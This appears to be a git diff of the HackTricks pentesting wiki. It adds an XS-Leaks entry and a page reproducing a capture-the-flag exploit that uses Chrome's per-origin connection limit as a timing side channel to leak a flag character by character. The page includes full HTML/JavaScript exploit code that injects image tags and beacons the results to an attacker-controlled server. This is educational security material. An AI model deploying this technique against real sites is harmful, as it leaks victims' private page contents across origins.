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1
SUMMARY.md
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@ -562,6 +562,7 @@
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)

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generic-methodologies-and-resources/exfiltration.md
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@ -67,6 +67,8 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
[**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
[**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)****
#### **HTTPS Server**
```python

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pentesting-web/xs-search.md
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@ -275,6 +275,13 @@ Browsers use sockets to communicate with servers. As the operating system and th
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Connection Pool by Destination
* **Inclusion Methods**: JavaScript Requests
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: 
* **Summary:** It's like the previous technique but instead of using all the sockets, Google **Chrome** puts a limit of **6 concurrent request to the same origin**. If we **block 5** and then **launch a 6th** request we can **time** it and if we managed to make the **victim page send** more **requests** to the same endpoint to detect a **status** of the **page**, the **6th request** will take **longer** and we can detect it.
##
![](<../.gitbook/assets/image (9) (1) (2).png>)

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pentesting-web/xs-search/connection-pool-by-destination-example.md Normal file
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# Connection Pool by Destination Example
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenged mentioned in the following page:
{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}
Let's see how this exploit work:
* The attacker will inject a note with as many **`<img`** tags **loading** **`/js/purify.js`** as possible (more than 6 to block the origin).
* Then, the attacker will **remove** the **note** with index 1.
* Then, the attacker will \[make the **bot access the page** with the reminding note] and will send a **request** to **`victim.com/js/purify.js`** that he will **time**.&#x20;
* If the time is **bigger**, the **injection** was in the **note** left, if the time is **lower**, the **flag** was in there.
{% hint style="info" %}
Tbh, reading the script I missed some part where the **attacker makes the bot load the page to trigger the img tags**, I don't see anything like that in the code
{% endhint %}
```html
<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}
add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>